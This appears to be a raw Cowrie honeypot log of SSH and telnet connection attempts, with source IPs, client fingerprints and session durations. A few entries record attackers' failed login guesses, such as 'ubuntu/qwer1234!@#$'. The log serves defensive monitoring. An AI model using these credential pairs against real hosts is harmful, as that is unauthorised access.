{"eventid":"cowrie.session.closed","duration":45.39762353897095,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:40.093786Z","src_ip":"65.60.27.33","session":"683d7a733d82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.950498819351196,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:42.417810Z","src_ip":"65.60.27.33","session":"068b96fab769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.136648178100586,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:42.622377Z","src_ip":"65.60.27.33","session":"d1c4d285b10b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45514,"dst_ip":"10.17.0.5","dst_port":23,"session":"48916875d1b9","protocol":"telnet","message":"New connection: 165.232.131.181:45514 (10.17.0.5:23) [session: 48916875d1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:42.982044Z"}
{"eventid":"cowrie.session.closed","duration":36.901145219802856,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:43.707627Z","src_ip":"62.210.97.77","session":"98ccffc60ae6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53512,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc397275ea67","protocol":"telnet","message":"New connection: 62.210.97.77:53512 (10.17.0.5:23) [session: dc397275ea67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:43.767921Z"}
{"eventid":"cowrie.session.closed","duration":35.72786498069763,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:43.771364Z","src_ip":"62.210.97.77","session":"e1193c6ed4b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.96.160.74","src_port":52150,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb46fbf976f8","protocol":"telnet","message":"New connection: 185.96.160.74:52150 (10.17.0.5:23) [session: eb46fbf976f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:44.335746Z"}
{"eventid":"cowrie.session.closed","duration":41.55892062187195,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:51.781902Z","src_ip":"165.232.131.181","session":"053810150aa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.28883719444275,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:52.725255Z","src_ip":"62.210.97.77","session":"a2800c7789b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52762,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cd68e6589c5","protocol":"telnet","message":"New connection: 62.210.97.77:52762 (10.17.0.5:23) [session: 5cd68e6589c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:52.864882Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52776,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce18de382bd1","protocol":"telnet","message":"New connection: 62.210.97.77:52776 (10.17.0.5:23) [session: ce18de382bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:56.920992Z"}
{"eventid":"cowrie.session.closed","duration":37.6668541431427,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:57.577261Z","src_ip":"65.60.27.33","session":"e70d22e28e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52792,"dst_ip":"10.17.0.5","dst_port":23,"session":"cac2d5f3647e","protocol":"telnet","message":"New connection: 62.210.97.77:52792 (10.17.0.5:23) [session: cac2d5f3647e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:58.149472Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49852,"dst_ip":"10.17.0.5","dst_port":23,"session":"1385cfeabc5f","protocol":"telnet","message":"New connection: 165.232.131.181:49852 (10.17.0.5:23) [session: 1385cfeabc5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:59.504955Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":56294,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa9157645405","protocol":"telnet","message":"New connection: 192.211.53.160:56294 (159.203.135.109:23) [session: fa9157645405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:00.072561Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51048,"dst_ip":"10.17.0.5","dst_port":23,"session":"603e16ceba3b","protocol":"telnet","message":"New connection: 165.232.131.181:51048 (10.17.0.5:23) [session: 603e16ceba3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:00.300958Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":34950,"dst_ip":"159.203.135.109","dst_port":22,"session":"8618623bde96","protocol":"ssh","message":"New connection: 20.203.42.204:34950 (159.203.135.109:22) [session: 8618623bde96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:01.885449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:01.889969Z","src_ip":"20.203.42.204","session":"8618623bde96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:02.058420Z","src_ip":"20.203.42.204","session":"8618623bde96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234!@#$","message":"login attempt [ubuntu/qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:02.756060Z","src_ip":"20.203.42.204","session":"8618623bde96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.26459336280823,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:03.551863Z","src_ip":"165.232.131.181","session":"c3bdb9c99037","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:03.926630Z","src_ip":"20.203.42.204","session":"8618623bde96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54280,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9324eadec69","protocol":"telnet","message":"New connection: 62.210.97.77:54280 (10.17.0.5:23) [session: e9324eadec69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:06.471801Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":58920,"dst_ip":"159.203.135.109","dst_port":23,"session":"0794bb44aaa8","protocol":"telnet","message":"New connection: 192.211.53.160:58920 (159.203.135.109:23) [session: 0794bb44aaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:06.629745Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":60744,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea71bcd69acb","protocol":"ssh","message":"New connection: 181.234.2.36:60744 (159.203.135.109:22) [session: ea71bcd69acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:07.415235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:07.419152Z","src_ip":"181.234.2.36","session":"ea71bcd69acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:07.515102Z","src_ip":"181.234.2.36","session":"ea71bcd69acb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"1","message":"login attempt [ec2-user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:07.917135Z","src_ip":"181.234.2.36","session":"ea71bcd69acb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:09.014888Z","src_ip":"181.234.2.36","session":"ea71bcd69acb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":53856,"dst_ip":"10.17.0.5","dst_port":22,"session":"e374970bbf94","protocol":"ssh","message":"New connection: 172.185.24.228:53856 (10.17.0.5:22) [session: e374970bbf94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:10.740048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:10.744424Z","src_ip":"172.185.24.228","session":"e374970bbf94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:10.820576Z","src_ip":"172.185.24.228","session":"e374970bbf94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upload123456789","message":"login attempt [ubuntu/upload123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:11.173816Z","src_ip":"172.185.24.228","session":"e374970bbf94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.606165409088135,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:11.621017Z","src_ip":"165.232.131.181","session":"6ed27187a144","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.19017148017883,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:11.637339Z","src_ip":"65.60.27.33","session":"2a8992baf714","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:12.260545Z","src_ip":"172.185.24.228","session":"e374970bbf94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37722,"dst_ip":"10.17.0.5","dst_port":23,"session":"acbe26de9d9b","protocol":"telnet","message":"New connection: 38.54.119.93:37722 (10.17.0.5:23) [session: acbe26de9d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:15.536541Z"}
{"eventid":"cowrie.session.closed","duration":36.00239896774292,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:19.770229Z","src_ip":"62.210.97.77","session":"dc397275ea67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.88139510154724,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:24.262480Z","src_ip":"165.232.131.181","session":"ca9901f9a5c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.57244849205017,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:29.437101Z","src_ip":"62.210.97.77","session":"5cd68e6589c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59994,"dst_ip":"10.17.0.5","dst_port":23,"session":"43ca76b173d7","protocol":"telnet","message":"New connection: 165.232.131.181:59994 (10.17.0.5:23) [session: 43ca76b173d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:29.954238Z"}
{"eventid":"cowrie.session.closed","duration":0.005714893341064453,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:29.959831Z","src_ip":"165.232.131.181","session":"43ca76b173d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.0075101852417,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:29.989433Z","src_ip":"165.232.131.181","session":"48916875d1b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.94208002090454,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:31.091473Z","src_ip":"62.210.97.77","session":"cac2d5f3647e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3501410484314,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:31.271016Z","src_ip":"62.210.97.77","session":"ce18de382bd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33888,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3293b608ee6","protocol":"telnet","message":"New connection: 165.232.131.181:33888 (10.17.0.5:23) [session: c3293b608ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:31.787311Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35752,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd1ba9246a63","protocol":"telnet","message":"New connection: 165.232.131.181:35752 (10.17.0.5:23) [session: dd1ba9246a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:35.734381Z"}
{"eventid":"cowrie.session.closed","duration":36.0129771232605,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:36.085397Z","src_ip":"192.211.53.160","session":"fa9157645405","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39430,"dst_ip":"10.17.0.5","dst_port":23,"session":"263e1548a776","protocol":"telnet","message":"New connection: 62.210.97.77:39430 (10.17.0.5:23) [session: 263e1548a776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:36.561404Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39438,"dst_ip":"10.17.0.5","dst_port":23,"session":"f92fca66f549","protocol":"telnet","message":"New connection: 62.210.97.77:39438 (10.17.0.5:23) [session: f92fca66f549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:37.280687Z"}
{"eventid":"cowrie.session.closed","duration":39.02997350692749,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:39.330669Z","src_ip":"165.232.131.181","session":"603e16ceba3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51680,"dst_ip":"10.17.0.5","dst_port":23,"session":"59cda07a68f8","protocol":"telnet","message":"New connection: 38.54.119.93:51680 (10.17.0.5:23) [session: 59cda07a68f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:40.070588Z"}
{"eventid":"cowrie.session.closed","duration":34.26213884353638,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:40.733825Z","src_ip":"62.210.97.77","session":"e9324eadec69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50918,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2aef78f1d09","protocol":"telnet","message":"New connection: 62.210.97.77:50918 (10.17.0.5:23) [session: e2aef78f1d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:46.176440Z"}
{"eventid":"cowrie.session.closed","duration":40.43837332725525,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:47.068001Z","src_ip":"192.211.53.160","session":"0794bb44aaa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.86387252807617,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:47.368647Z","src_ip":"165.232.131.181","session":"1385cfeabc5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56732,"dst_ip":"10.17.0.5","dst_port":23,"session":"beaea413e9b3","protocol":"telnet","message":"New connection: 38.54.119.93:56732 (10.17.0.5:23) [session: beaea413e9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:48.822578Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57526,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbae26cfaf38","protocol":"telnet","message":"New connection: 38.54.119.93:57526 (10.17.0.5:23) [session: bbae26cfaf38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:50.043201Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39464,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f70e3b60e6d","protocol":"telnet","message":"New connection: 62.210.97.77:39464 (10.17.0.5:23) [session: 1f70e3b60e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:50.238833Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39494,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8c90a559542","protocol":"telnet","message":"New connection: 62.210.97.77:39494 (10.17.0.5:23) [session: c8c90a559542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:53.885594Z"}
{"eventid":"cowrie.session.closed","duration":71.79470586776733,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:56.130324Z","src_ip":"185.96.160.74","session":"eb46fbf976f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.879586696624756,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:56.922713Z","src_ip":"38.54.119.93","session":"bbae26cfaf38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.219.197.253","src_port":33487,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ad3b41d40d4","protocol":"telnet","message":"New connection: 191.219.197.253:33487 (159.203.135.109:23) [session: 0ad3b41d40d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:17:58.153796Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":3268,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5e2ab661358","protocol":"ssh","message":"New connection: 94.156.152.18:3268 (159.203.135.109:22) [session: d5e2ab661358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:03.531679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:03.536121Z","src_ip":"94.156.152.18","session":"d5e2ab661358","protocol":"ssh"}
